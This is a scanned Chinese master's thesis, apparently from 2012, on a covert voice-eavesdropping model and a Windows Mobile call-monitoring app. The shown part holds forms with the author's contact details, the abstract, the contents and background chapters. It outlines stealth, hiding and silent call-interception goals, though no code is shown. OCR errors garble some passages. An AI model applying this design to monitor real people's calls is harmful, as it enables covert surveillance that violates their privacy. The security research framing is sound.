windows mobile的智能手机语音监听软件的设计与实现

windows mobile的智能手机语音监听软件的设计与实现

ID:32526470

大小:7.40 MB

页数:64页

时间:2019-02-11

上传者:U-22107
windows mobile的智能手机语音监听软件的设计与实现_第1页
windows mobile的智能手机语音监听软件的设计与实现_第2页
windows mobile的智能手机语音监听软件的设计与实现_第3页
windows mobile的智能手机语音监听软件的设计与实现_第4页
windows mobile的智能手机语音监听软件的设计与实现_第5页
资源描述:

《windows mobile的智能手机语音监听软件的设计与实现》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库

JJIIllIlJllIIlidUIIIIIIlllY2273361南开大学学位论文使用授权书根据《南开大学关于研究生学位论文收藏和利用管理办法》,我校的博士、硕士学位获得者均须向南开大学提交本人的学位论文纸质本及相应电子版。本人完全了解南开大学有关研究生学位论文收藏和利用的管理规定。南开大学拥有在《著作权法》规定范围内的学位论文使用权,即:(1)学位获得者必须按规定提交学位论文(包括纸质印刷本及电子版),学校可以采用影印、缩印或其他复制手段保存研究生学位论文,并编入《南开大学博硕士学位论文全文数据库》;(2)为教学和科研目的,学校可以将公开的学位论文作为资料在图书馆等场所提供校内师生阅读,在校园网上提供论文目录检索、文摘以及论文全文浏览、下载等免费信息服务;(3)根据教育部有关规定,南开大学向教育部指定单位提交公开的学位论文;(4)学位论文作者授权学校向中国科技信息研究所及其万方数据电子出版社和中国学术期刊(光盘)电子出版社提交规定范围的学位论文及其电子版并收入相应学位论文数据库,通过其相关网站对外进行信息服务。同时本人保留在其他媒体发表论文的权利。非公开学位论文,保密期限内不向外提交和提供服务,解密后提交和服务同公开论文。论文电子版提交至校图书馆网站:http://202.113.20.161:8001/index.htm。本人承诺:本人的学位论文是在南开大学学习期间创作完成的作品,并己通过论文答辩:提交的学位论文电子版与纸质本论文的内容一致,如因不同造成不良后果由本人自负。本人同意遵守上述规定。本授权书签署一式两份,由研究生院和图书馆留存。作者暨授权人签字:呈墓2012年11月22日南开大学研究生学位论文作者信息论文题目WindowsMobile的智能手机语音监听软件的设计与实现姓名马英学号2220091734答辩日期2012年11月3日论文类别博士口学历硕士口硕士专业学位团高校教师口同等学力硕士口院/系/所软件学院专业软件工程联系电话13199866658EmailMayiin9815@qq.com通信地址(邮编):乌鲁木齐新市区开发区二期备注:是否批准为非公开论文否注:本授权书适用我校授予的所有博士、硕士的学位论文。由作者填写(一式两份)签字后交校图书馆,非公开学位论文须附《南开大学研究生申请非公开学位论文审批表》。 南开大学学位论文原创性声明本人郑重声明:所呈交的学位论文,是本人在导师指导下进行研究工作所取得的研究成果。除文中已经注明引用的内容外,本学位论文的研究成果不包含任何他人创作的、已公开发表或者没有公开发表的作品的内容。对本论文所涉及的研究工作做出贡献的其他个人和集体,均已在文中以明确方式标明。本学位论文原创性声明的法律责任由本人承担。学位论文作者签名:刍墓2012年11月22日非公开学位论文标注说明(本页表中填写内容须打印)根据南开大学有关规定,非公开学位论文须经指导教师同意、作者本人申请和相关部门批准方能标注。未经批准的均为公开学位论文,公开学位论文本说明为空白。论文题目申请密级口限制(≤2年)口秘密(≤10年)口机密(≤20年)保密期限20年月日至20年月日审批表编号批准13期20年月目南开大学学位评定委员会办公室盖章(有效)注:限制★2年(可少于2年):秘密★10年(可少于10年):机密★20年(可少于20年) 摘要移动通信技术的飞速发展导致移动通信终端工具的快速革新,如今,智能手机已经成为十分普遍的移动通信工具。智能手机技术的日新月异令智能手机的功能越来越强大,并且能够存储越来越多的隐私信息。目前已有一些手机病毒,而且智能手机也越加成为不法分子攻击的目标。面对严重的智能手机安全威胁,智能手机的安全防护也在慢慢发展,然而在语音监听这一部分,类似的手机病毒还不多,相关的手机安全产品的研究也十分稀少。社会在矛盾中进步,同样,手机安全防护能力的提升也需要安全攻击技术的升级。本文从手机安全防御的对立面进行研究,探索和发现智能手机操作系统的缺陷和某些方面的不足,并进行测试性语音监听攻击,从而促使移动手持设备系统生产商改进和完善系统的功能,促使手持设备安全产品生产商完善其防护策略,不断提高手机系统的安全性,以保护广大手机用户的信息安全。本文首先介绍了智能手机语音监听技术的相关背景和意义、本文需要解决的主要问题、国内外研究现状和本论文的主要工作,然后介绍了移动通信技术和智能手机的相关知识,特别描述了智能手机的语音通话原理,接着基于各个不同操作系统的智能手机的语音监听技术的研究,提出了一个通用于各个系统的智能手机的语音监听模型,再在这个模型的指导下,在WindowsMobile平台上实现了一个智能手机的语音监听软件,最后测试了软件的有效性。在搭建智能手机的语音监听模型时,本文先提出了语音监听模型需要解决的问题,接着列出了模型的设计目标,然后介绍了模型的总体设计,最后逐部分描述了各个模块的详细设计。最后对基于WindowsMobile平台的语音监听软件的实现和测试表明了该软件是有效的,也证明了智能手机语音监听模型是合理的和可行的。关键词:智能手机,语音监听,WindowsMobile AbstractWiththerapiddevelopmentofmobilecommunicationtechn0109y,thereisafastinnovationonthemobilecommunicationtemlinaltOol,andnowsmartphonesasakindofmobilecommunicationt001shavebecomeVerypopular.WiththeadVantageoftechnologyaboutsmartphones,smanphonesbecomemorepowerfulandcanstoremoreprivateinfomation,thereforetheyarebecomingthetargetsofcriminals,sothesmanphonevirusarespreadingr印idly.Inthiscase,smartphonesecurityisdevelopingslowly.ButinthefieldofVoicemonitor,therearenotsomanysimilarvimsesthattherelatedsecu^typroductsareVeryrare.Societyalwayspro伊essesintheconflicts,similarly,theup伊adeofsmanphonesecurityattacktechlliqueisaprerequisitefortheimpmVementofsmanphonesecuritycapabilities.Thearticledoesresearchontheoppositeofsmartphonesecuritydefense,andexplorethedefectsofsmartphoneoperatingsystem,thendoessomevoiceattacksfortesting.The姗istoimproVeandpromotethefunctionofsmartphoneoperatingsystem,inordertoprotecttheinf.onnationsecurityofsmartphoneusers.firstly,theanicleintroducestheback伊oundandsigni6canceabouttheVoicemonitoringonsmanphone,thenintroducesmainissuestoberes01Vedinthisarticle,researchstatusathomeandabroad.Secondly,mobilecommunicationtechnologyandknowledgeofsmanphonesaredescribed,andtheprinciplesofsmartphoneVoicecallsarethehi曲li曲ts.Thirdly,baseondifferentoperatingsystems,theanicleproposesavoicemonitoringmodelforsmartphones.Fourthly,undertheguidanceofthismodel,theanicledevelopsavoicemonitoringsoRwareonWindowsMobileplatfIom.Fi觚ly,thevalidityofthesoRwareiscertified.Finally,thevoicemonitoringsoRwarewhichisdeVelopedonWindowsMob订eplatf.onnisprovedtobeef琵ctiveandthenitalsoproVesthatthesnlartphoneVoicemonitoringmodelisreasonableandfeasible.Keywords:Smartphones,Voicemonitonng,WindowsMobileII 目录第一章引言⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯1第一节论文背景和意义⋯⋯.⋯..⋯⋯.⋯⋯⋯⋯⋯⋯⋯..1第二节要解决的问题.⋯.⋯⋯..⋯⋯⋯⋯..⋯⋯⋯⋯⋯..2第三节论文主要工作和创新⋯⋯.⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯.31.3.1本文的主要工作⋯⋯..........⋯.....⋯⋯....⋯...⋯.⋯.3i.3.2本文的创新点⋯⋯⋯....⋯..⋯.⋯.⋯⋯...⋯⋯......⋯3第四节论文组织结构⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯。.4第二章相关技术⋯....⋯⋯.⋯⋯..⋯⋯..⋯⋯⋯..5第一节智能手机介绍⋯⋯⋯.⋯...⋯⋯.⋯⋯⋯⋯⋯..⋯.52.I.I智能手机概述⋯⋯⋯⋯⋯⋯.⋯⋯.⋯⋯⋯⋯⋯⋯⋯...52.1.2智能手机操作系统介绍⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯62.i.3智能手机的安全威胁⋯.⋯⋯⋯⋯⋯..⋯⋯⋯⋯⋯⋯.⋯12第二节智能手机的语音通话原理⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯142.2.1数字移动电话系统的组成⋯⋯⋯..⋯⋯⋯⋯⋯⋯⋯⋯⋯.142.2.2数字移动电话的工作过程⋯.⋯⋯⋯.⋯.⋯⋯⋯⋯⋯⋯⋯14第三节WindowsMobile技术⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯.152.3.1WindowsMobile平台.⋯⋯⋯⋯⋯⋯..⋯..⋯....⋯⋯...152.3.2WindowsMobileSDK⋯⋯⋯⋯.⋯⋯...⋯⋯........⋯....16第四节WindowsMobile上的语音呼叫⋯⋯..⋯⋯⋯⋯⋯..⋯.172.4.1AT指令.....⋯⋯⋯...⋯...⋯.....⋯⋯⋯⋯⋯...⋯..172.4.2RIL介绍.....⋯⋯⋯......⋯⋯⋯⋯⋯⋯⋯⋯⋯.⋯..18第三章智能手机语音监听软件需求分析..⋯⋯....⋯⋯..22第一节智能手机的语音监听目标要求⋯⋯⋯⋯⋯⋯⋯⋯⋯..22第二节语音监听器功能需求⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯.23第四章智能手机的语音监听软件的设计⋯⋯⋯⋯⋯⋯..26第一节设计目标⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯..⋯..⋯....26第二节总体设计..⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯26第三节详细功能设计⋯⋯⋯⋯.⋯⋯⋯⋯..⋯⋯⋯⋯⋯.28第五章智能手机的语音监听软件的实现⋯⋯⋯⋯⋯.⋯.33第一节语音监听器的实现⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯335.i.1监听模块⋯⋯⋯⋯⋯⋯⋯,.⋯⋯⋯⋯⋯⋯⋯⋯⋯...335.1.2控制模块⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯.⋯.405.1.3隐藏模块⋯⋯...⋯⋯⋯⋯.⋯⋯..⋯⋯⋯⋯⋯⋯⋯..405.I.4服务模块⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯..43第二节语音监听实例的测试结果⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯455.2.I测试过程和结果⋯⋯⋯⋯⋯.⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯.455.2。2测试结果分析⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯.53 目录第六章总结与展望⋯⋯⋯.⋯....⋯⋯⋯.⋯⋯⋯..54第一节全文总结⋯⋯⋯....⋯.⋯..⋯⋯⋯⋯⋯⋯⋯⋯.54第二节今后的工作和展望⋯......⋯..⋯⋯.⋯⋯..⋯⋯⋯.54参考文献.⋯....⋯.⋯⋯⋯⋯...⋯⋯⋯⋯⋯⋯..56致谢..⋯.⋯⋯.⋯⋯.⋯⋯⋯.⋯⋯⋯⋯⋯⋯⋯58个人简历⋯⋯⋯⋯⋯⋯⋯⋯.⋯⋯⋯⋯⋯⋯.⋯59IV 第一章引言第一节论文背景和意义移动通信技术的飞速发展,在经历了第一代的模拟移动通信技术和第二代的数字移动通信技术后、以话音通信业务为主的窄带移动通信技术已经发展到第三代。第三代移动通信技术主要是以有限多媒体业务和高速互联网业务为目的的宽带移动通信技术。目前正在大力研究的是第四代以多媒体为目的的广带移动通信技术。移动通信技术日新月异,它的最终目标是与固定的公用网发展相结合,以实现全球个人通信。移动通信技术的发展伴随着移动通信终端工具的革新。作为移动终端的重要一员,手机在20世纪80年代以来也经历了阶段性的变化。与移动通信技术的发展类似,手机从出现到现在也可以大致分为三种类型:传统的语音通话为主的手机,多功能手机和智能手机,它们的定位分别是以硬件为主的手机,软硬件均有所偏重的手机,硬件已经成熟、软件为主的手机。第三种手机就是所谓的智能手机。进入21世纪后,在国家信息化发展的影响下,传统的有线电话已经无法满足人们要求实时、即时、随时通信的愿望,手机已经成为人们不可缺少的移动通信工具。传统的手机仅仅具有通话功能,目前这样的手机早已不能满足信息化社会的需求,社会的信息化使得智能手机成为移动通信的主流设备。智能手机技术的日新月异令机中可以存储越来越多的隐私信息。在生活和工作中,人们使用手机打电话,收发短信,上网娱乐。随着智能手机的出现,智能手机操作系统种类越来越多,手机的功能也越来越强大,除了日常的通话、短信功能J'l-,还具有网页浏览、文字处理、收发电子邮件、银行帐户认证等许多其他功能【1】,另外还可以安装第三方软件,例如即时通讯软件、炒股软件,微博客户端等。智能手机的功能可以媲美掌上电脑。智能手机中存储着大量的敏感信息,成为各种不法分子眼中非常具有吸引力的入侵目标。各种手机病毒滋生,语音监听病毒泛滥,出售手机间谍软件的公司不胜枚举。如今人们要在网上找一个手机监听软件十分简单,FlexiSPY公司就有四种监听软件,遍布Symbian,WindowsMobile和黑莓手机操作系统。通过这种软件, 第一章引言监控方可以获取到手机中的短信、通话记录等,此外,这种软件还可以监听通话。智能手机功能的强大使得智能手机在使用上也更复杂,有可能造成各种损失,尤其是智能手机病毒。手机病毒的出现令手机用户蒙受了巨大的损失。短信类手机病毒,炸弹类手机病毒,蠕虫类手机病毒,木马类手机病毒等手机病毒多种多样,入侵手机的目的各不相同。目前,手机病毒已从原先比较简单的恶意扣费、破坏系统发展到了金融盗号、窃取用户隐私、窃听监控等各个方面。入侵的手机数目直线上升。自2004年第一个手机病毒诞生以来,截至2010年6月底,在国内被截获的手机病毒及恶意软件总数已经超过1600个,85%的智能手机受到过病毒攻击【21,用户损失巨大【31。有攻必有守,面对如此猖獗的手机安全攻击,手机的安全防护也在手机病毒的进化中慢慢发展起来了。目前有很多安全产品厂家推出手机防火墙,手机管家,手机杀毒软件等安全防护产品。然而,上述产品大部分是针对手机的一般破坏性病毒和木马,手机语音监听这部分的防护不管是在手机操作系统还是在手机安全产品方面都还有待加强和提高14,5】。社会在矛盾中不断进步,同样,手机安全防护能力的提升也需要安全攻击技术的不断升级,攻击技术的提出会不断促使新的应对策略的应用,手机系统也就更加安全。攻与防,向来是相互促进的。本文从防御对立面着手进行研究,探索和发现智能手机操作系统的缺陷和某些方面的不足,并针对这种不足进行测试性语音监听攻击,从而促使移动手持设备系统生产商改进和完善智能手机操作系统的功能,促使手持设备安全产品生产商完善其手机安全防护策略,不断提高手机系统的安全性,以保护广大手机用户的信息安全。第二节要解决的问题建立一个智能手机的语音监听模型是本文主要需要解决的问题,该模型需对各种智能手机操作系统上的语音监听软件的开发具有普遍的指导作用。本文着重于研究智能手机的语音监听技术,从整个移动通信系统层面上讲,手机监听的方法多种多样,而本文主要是研究基于智能手机的语音监听技术,这就使得本文在解决问题的时候必须结合智能手机的特征。智能手机不同于一般手机,它是具有操作系统,可以在其上安装软件的手机,所以本文主要研究2 第一章引言的是基于智能手机的软件监听技术。由于智能手机的智能性,尤其是其操作系统的多样性和互不兼容性,使得本文无法设计出一个通用的、以兼容各个智能手机操作系统的手机监听软件,在这种情况下,提出一个智能手机的语音监听模型,使得该模型能够指导各个不同手机操作系统上的语音监听软件的开发是本文研究的主要内容。这个语音监听模型的设计必须考虑实时监听的要求,必须满足隐蔽性、有效性、可控性的需求。此外,选择一个智能手机的操作系统平台,在这个平台上根据已经建立的模型的指导,开发一个智能手机的语音监听软件以验证该模型是否可行,也是本文需要解决的问题。第三节论文主要工作和创新1.3.1本文的主要工作本文主要是对智能手机的语音监听技术进行研究,针对现有的不同的智能手机操作系统,剖析其结构和原理,抽取其语音部分的实现技术进行研究,提出了一个基于智能手机的语音监听的通用模型,并选取WindowsMobile平台作为模型的实验平台,在该平台上实现了一个语音监听软件,验证了模型的可行性。本文的主要工作有:2.探索不同操作系统的智能手机上的语音监听方法。智能手机使用的是开放式的操作系统,目前市场上智能手机的操作系统很很多种,主要有Symbian,WindowsMobile,Linux,Android等。本文选取其中具有代表性的几种,探索了其上不同的语音监听技术。2.提出一个通用的智能手机的语音监听模型本文在不同的语音监听技术的基础上,深入挖掘其内部原理,提出了一种智能手机通用的主动监听模型,对不同操作系统的智能手机实现语音监听具有普遍的指导意义。3.根据提出的监听模型,在windowsmobile上实现demo在监听模型建立后,为了验证其可行性,本文选取了市场占有率较高的手机操作系统WindowsMobile,在该平台上实现了一个语音监听软件,验证了模型的可行性。1.3.2本文的创新点3 第一章引言本文有两个创新点:1.在智能手机的语音监听模型中,本文提出了在硬件层拦截电话信号的思想。由于智能手机上的来电信息是从硬件向上层传送的,所以要想快速的获取来电信号,必须在底层进行拦截,而一般的软件是在操作系统层进行拦截的。2.在WindowsMobile平台上实例的实现上使用了对电话管理程序cprog.exe进行操作的方法。WindowsMobile平台上的语音监听软件在实现上的静默部分大部分依赖对电话管理程序cprog.exe的操作,而大多数语音监听软件是使用了HOOK技术。第四节论文组织结构本文内容共有5章,具体的结构安排如下:第一章是本文的绪论。首先介绍了智能手机语音监听技术的研究背景和意义,然后简单描述了本文要解决的主要问题,接着说明本文的主要工作和工作中的创新点,最后对本文的组织结构做了简单概述。第二章是国内外研究现状及智能手机简介。首先介绍了国内外智能手机的语音监听技术的研究现状,然后对那些研究现状进行了分析和总结,其次介绍了智能手机的硬件和软件结构、操作系统,最后详细阐述了智能手机的语音通话原理。第二章是第四章的技术基础。第三章是本文提出的模型的介绍。首先详细描述了本文要研究的问题,然后提出了一个智能化手机的语音监听模型,最后对模型的各个方面进行了详细的说明。第四章是基于WindowsMobile平台的语音监听软件的实现。首先对WindowsMobile平台进行了简单的说明,然后介绍了在WindowsMobile平台上开发监听软件需要用到的技术,最后详细叙述了监听软件的实现过程及测试结果。第五章,先总结了本文所做的工作,接着展望了智能手机语音监听技术的后续研究工作。4 第二章相关技术第一节智能手机介绍智能手机就是像电脑一样具有独立的操作系统的手机,在智能手机上,用户可以自行安装软件、游戏等第三方服务商提供的程序,并通过此类程序来不断对手机的功能进行扩充,智能手机还可以通过移动通讯网络来实现无线网络接入,用户随时都可以使用智能化手机上网【111。2.1.1智能手机概述移动通信技术的发展和手机设备价格的下降使得智能手机成为人们普遍选择的移动通讯工具。与普通手机相比,智能手机除了具有普通手机的所有功能外,还拥有个人数码助理(PDA)的大部分功’H⋯匕[12】。智能手机能够无线接入互联网,支持GSM网络下的GPRS或者支持CDMA网络的CDMAiX或3G网络,可以使用手机浏览网页,收发邮件等;智能手机具有个人数码助理的功能,具有个人信息管理(PIM),日程记事,任务安排等功能;另外,智能手机具有独立的操作系统,用户可以根据需要在智能手机上安装软件以扩展其功能,例如游戏或影音播放软件。1.智能手机的硬件结构智能手机的如此强大的功能来源于它的两个处理器,基带处理器和应用处理器。目前智能手机在硬件上一般使用双处理器架构。基带处理器主要处理语音信号和数字信号的编码解码和GSM通信协议,应用处理器则负责手机操作系统和各种程序的运行。基带处理器、射频和一些其他外围芯片组成了GSM/GPRSmodem.【13,14】.5 第二章相关技术智能手机的硬件结构如图2.1所示:图2—1智能手机的硬件结构如图3—1所示,智能手机具有两个处理器,基带处理器相当于一个协议处理器,主要功能是基带编码/译码、声音编码及语音编码。基带处理器主要由数字信号处理器(DSP)、微控制器(MCU)、内存(主要为SRAM和Flash)及其他一些部件组成。其中微控制器(MCU)主要有两个功能,一是运行通信协议物理层的控制码,二是控制通信协议的上层软件,比如人机界面(MMI)和表示层。数字信号处理器(DSP)主要负责大量的科学计算,包括信道编/解码、信道均衡以及电话语音编/解码。当有来电信息时,基带处理器首先获取来电信息,将之转化给来电信号,用AT指令传递给应用处理器。应用处理器上的程序进行来电提示。2.智能手机上的软件系统智能手机的操作系统是覆盖在硬件上的第一层软件,是至关重要的一层软件,担负着管理软硬件资源,调度系统的任务运行和为更上层软件提供接口的任务[1s】。智能手机的主流操作系统有诺基亚主导的Symbian,微软的WindowsMobile,Palm的PalmWebOS,Blackberry手机的BlackberryOS和Linux平台阵营(Google的Andriod、诺基亚的Maemo具有代表性)等。每一种智能手机的操作系统都具有其优点和缺点,他们的体系结构各不相同,给用户提供不同的服务。2.1.2智能手机操作系统介绍6 第二章相关技术1.Symbian操作系统(1)Symbian操作系统的结构Symbian操作系统是Symbian公司的作品,在2010年的时候已经发展到9.X版本,并且具有Series90、Series80、Series60和UlCl等多种针对不同硬件平台的界面。Symbian操作系统的设计理念是在系统的兼容性和开发平台的通用性之间找到一个最佳的平衡点,所以Symbian操作系统无论它们的界面多么不同,它们都拥有相同的内核。Symbian操作系统的系统结构如图2-2所示[16】:SymbianOSUIKONGUI库,\L应用程序引擎JavaKVMSymbianOS基层(User.dll、文件服务器、内核等)底层硬件.生产商设备驱动程序等图2-2Symbian操作系统结构①应用层。这是Symbian操作系统最高的一层,主要包括OPL、Shell和其他一些应用程序。②系统层。系统层主要包括Digalogs(对话框)、Toolbar(工具栏)、Menu(菜单)、JavaVM、Resource(资源)、ListControl(列表控件)、ApplicationFramework(应用框架)和JavaClassLibraries(Java类库)等程序中常见的应用单元。③服务层。服务层主要包括WindowServer、ProcessServer、SocketServer及无线协议等等各种为其他应用程序提供的系统服务。④内核。主要包括euser.dll、服务控制(supervisorserver)、HAL(设备抽象层)等与低层硬件相关的内容。 第二章相关技术⑤动程序。包括所有设备驱动程序,主要有显示驱动、音频驱动、MMC驱动、串并口驱动和时钟控制器驱动等。(2)Symbian操作系统的功能特点:基于以上的操作系统结构,Symbian具有以下的功能特点[17】:①客户端/N务器的体系结构。Symbian系统中,客户端是一些带有互动界面的程序,服务器是能够与其他程序交互的特定程序。客户端与用户交互,服务器与所有的客户端交互,响应客户端,保证系统资源的利用。②多任务。Symbian系统使用了多线程技术,所以用户可以在多个程序中来回切换,比如一边接电话,一边打开日程安排表,或是浏览网页的同时用影音软件播放歌曲。③面向对象。Symbian操作系统的这一特点使得它能兼容不同的硬件,并且它的体系结构也很好的支持了这一点,这使得手机厂家能灵活的选择合适的硬件来配装不同的机器。此外Symbian操作系统还具有系统稳定和可靠的特点,这是因为手机用户需要智能手机不能像电脑一样经常死机。最小化耗电和内存优化也是Symbian操作系统的功能优点,这是由智能手机的移动性决定的。(3)Symbian操作系统的优势和缺点Symbian操作系统的优势很多,它是由基础语言编写的,运行时占有内存小,速度快;Symbian系统当初编写的主要功能侧重于打电话等通讯联络的,所以Symbian手机的通话质量和效果及稳定性高;此外Symbian手机支持关机闹铃、自动开机等功能。缺点是Symbian操作系统的音效较一般。2.WindowsMobile操作系统WindowsMobile是微软公司为智能手机移动终端设备设计的操作系统,WindowsMobile将桌面Windows功能扩展到了移动设备上。基于WindowsMobile操作系统的智能终端设备分为Smartphone和PocketPC两大类。Smartphone从外观设计、使用习惯等方面来看更像一部具有数据管理和处理功能的非智能手机。而PocketPC的功能类似于个人电脑,数据管理和处理能力十分强大。(1)WindowsMobile操作系统的结构8 第二章相关技术WindowsMobile是一个32位的多线程多任务多窗口的操作系统,它大致可以分为4个部分,从下向上依次为:硬件层,OEM层,系统层和应用程序层[18,19】,如图2.3所示:用户的应用程序WindowsMobile应用程序用户界面Internet客户端服务应用程序层硬件层图2.3WindowsMobile操作系统结构/①硬件层硬件层是WindowsMobile操作系统的最底层。尽管各个型号的智能手机的处理器各有不同,但是很多处理器都属于同一个体系结构。ARM体系结构的CPU是智能手机常用的CPU。这种处理器由于资源的限制,通常计算能力都有限,而且内存较小。②OEM层OEM是OriginalEquipmentManufacturer(原始设备制造商)的缩写,它是介于硬件和操作系统之间,是一层与硬件有关的代码,主要的作用是对不同的硬件进行抽象封装,封装成统一的接El,WindowsMobile内核就可以使用这些OEM的接口与硬件进行通信[20】。9 第二章相关技术OEM层包括四个部分,分别是OEM抽象层,引导程BOOTLoader、配置文件和驱动程序。③操作系统层WindowsMobile是一个微内核的操作系统,系统的基本功能由不同且独立的进程来实现。一般都有以下的进程:·内核进程NK.EXE●对象存储进程FILFSYS.EXE·图像系统进程GWES.EXE·服务进程SERVICES.EXE·设备管理系统进程DEVICE.EXE上面这些进程中,系统必不可少的进程只有FILFSYS.EXE和NK.EXE。假如系统不要图像系统,那么GWES.EXE进程就不会出现在系统中。一般说来,任何一个应用程序都不能直接与操作系统或硬件打交道,也就是说,如果应用程序要使用WindowsMobile所提供的服务,它必须通过访问CoreDLL.DLL来进行。CoreDLL.DLL主要是用来完成应用程序与WindowsMobile的通信以及对WindowsMobile的系统调用的【21】。④应用层应用层处在WindowsMobile操作系统的最上层,它向上与用户或第三方软件交互,向下使用操作系统提供的API与操作系统交互。(2)WindowsMobile的优势和缺点WindowsMobile最大特点是将Pc上的主流操作系统直接移植到手机当中,拥有非常好的Windows体验,其优势有:大量基于Pc的应用工具可以直接迁移到手机上,与Pc完全同步,在此基础上可以开发出大量的PC与手机捆绑的业务应用。人界面完全移植于电脑的Windows界面,使用者容易学会。从开发角度而言,当前大批量程序员是基于Windows平台开发的,所以两者具备了相似性和继承性,程序员对于WindowsMobile平台的开发更易上手。WindowsMobile的优点同时暴露了其缺点。WindowsMobile的缺点是占用大量的系统资源,系统稳定性依旧不好。3.Linux操作系统10 第二章相关技术由于Linux操作系统的开源性,Linux手机操作系统的种类十分丰富,Google的Andriod、诺基亚的Maemo等属于Linux操作系统。各大厂商使用Linux操作系统的目的是降低智能手机的生产成本。Linux是一个从根本上开放了源代码的系统,这是它的最大特点。和其他系统相比,Linux手机操作系统由于它开源的特性使得手机成本大大降低。另外一个开放源代码的好处就是手机制造商能够根据实际情况,有针对性地开发适合自己手机的Linux系统,这样他们的产品既有特色,又能够满足用户多方面的需求,还能避免受制于人。(1)Linux手机操作系统的特点与WindowsMobile操作系统一样,Linux手机操作系统也是由计算机操作系统演变而来的,不同的是,它是从计算机操作系统Linux变化而来,它支持32位和64位处理器。在计算机领域中,Linux主要适用于Intelx86系列CPU的计算机。而在手机领域中,摩托罗拉A768是具有代表性的Linux操作系统产品。Linux系统在设计之初完全没有对实时性进行考虑,资源共享和吞吐率最大化是其考虑的主要内容。因此在Linux2.4及其之前的版本中,内核是一定不可抢占的。内核不可抢占的意思是说,如果当前有任务A在内核态运行,即使现在有更紧急的任务B需要运行,正在运行的任务A也不能被抢占,任务B必须等到任务A执行完内核态的操作回到用户态后才能被考虑运行,或任务A因需要等待某些资源而主动让出CPU时任务B也能执行,这将造成严重的延迟。在Linux2.6中对此作了一些改进,内核可以抢占,实时性得到加强,但是内核中依然有大量的不可抢占区域,例如由自旋锁(spinlock)保护的临界区[22】。(2)Linux手机操作系统的优缺点Linux操作系统的优点十分明显。它系统资源占用率低,性能比较稳定,运行安全、可靠并具有强大的网络功能。相对来说,Linux操作系统缺点也不少。首先是它的实时性较差,其次是Linux操作系统介入智能手机领域比较晚,采用Linux操作系统的手机比较少,所以专为Linux手机用户制作的第三方软件很少,这影响了Linux操作系统在智能手机领域内的发展[23】。4.Palm操作系统Palm操作系统是一种32位的嵌入式操作系统,产于Palm公司,它采用触控式的操作界面,屏幕上排列了几乎所有的控制项,简单的使用触控笔就可以进行所有操作。 第二章相关技术Palm操作系统本身就是一个专门为掌上电脑编写的操作系统,在编写时充分考虑到了掌上电脑内存相对较小的情况,所以Palm操作系统本身所占的内存极小,基于Palm操作系统编写的应用程序所占的空间也很小,因此基于Palm操作系统的掌上电脑虽然只有几兆内存却可以运行很多应用程序,并且实时性较好[24】。Palm操作系统的不足在于系统本身不具有录音、MP3播放功能等,如需使用这些功能,需要另夕l-;bn入第三方软件或硬件设备来实现。Palm操作系统的代表产品有Palmm500、Palmm505、PalmIII等。2.1.3智能手机的安全威胁传统手机业务较少,主要以电话短信为主,与网络的联系以不是很密切,所以安全并不是人们考虑的问题。如今移动通信已经普及到第三代,移动业务越来越多,与网络的联系也愈加密切,移动终端产品也随之多样化,复杂化,智能化,移动通信的安全问题也成为人们考虑的重要问题。由于目前智能手机是移动通信的重要载体,所以智能手机面临了巨大的安全问题。与传统手机相比,智能手机在信息安全上存在的风险更大。智能手机结构部件复杂,与其他信息载体交互信息的途径多种多样,如蜂窝移动通信、红外、蓝牙、WIFI、数据线连接等,这使得手机安全问题变的十分复杂,再有就是手机软件开发的开放化可能导致手机病毒的大量出现[25】。目前,智能手机面临的安全威胁主要可以分为3类,分别是短信威胁,电话威胁和病毒威胁。1.恶意短信短信业务一直以来都是手机的一个重要业务,针对短信的安全威胁一直都存在。短信安全威胁一般说来有两种,一种叫做短信类手机病毒,另一种就是垃圾短信。短信类手机病毒是一种特殊的短信代码,它是针对手机操作系统本身的某个缺陷而编写的,这种短信代码能对手机进行恶意攻击或者操作,造成系统崩溃或破坏,甚至造成硬件损害。这种病毒不具有通用性,只是单纯地对某一型号的手机操作系统实施攻击。垃圾短信众所周知,是用户没有定制的,包含欺诈、色情、广告等内容的短信,这些短信不仅用户造成骚扰,而且消耗了用户的阅读时间,侵占了手机12 第二章相关技术的存储空间。中国互联网协会的统计数据显示,平均每天有8.29条垃圾短信被发送到手机用户的手机上。2.骚扰电话通话功能是手机最基本、最重要的功能,如果手机在通话功能上受到了安全威胁,那么对用户的影响是巨大的。针对电话的安全威胁目前主要是来电骚扰和电话吸费。来电骚扰的一般方式是打电话给用户进行广告和诈骗。对用户来说,浪费了时间,影响了工作和生活。电话吸费就是“响一声就挂”形式的电话,它的工作原理是这样的:不法声讯台和一些不法分子使用自动呼叫系统,模仿普通电话号码拨打受害者的手机,在呼通后只响一声就挂掉,诱骗受害者回拨。受害者回拨后即被接入录音电话,转到声讯台,从而强行收取受害者的声讯费。这种电话给用户带来了极大的不便和困扰,损害了受害者的利益[26】。3.手机病毒手机病毒类似于计算机病毒,是一种具有传染性、破坏性的手机程序。不同的是它主要以智能手机作为攻击对象,且它的传播方式比计算机病毒的传播方式更广,主要有2种传输方式:近距离传输:蓝牙、红外或Pc数据线。远距离传输:彩信、WAP、E—mail等载体。智能手机的操作系统都是开放的操作系统,主要开放的是应用层的API函数,随着用户需求的发展,包括芯片API在内的几乎所有API都会慢慢开放,这虽然方便了用户,但是也为手机病毒的出现和传播提供了方便[27】。手机病毒的种类很多,根据其危害可以分为4种:①窃取信息型病毒随着手机的智能化,手机功能的扩充,业务种类的扩展,越来越多的私人信息被存储在手机上,如常见的通讯录、日程安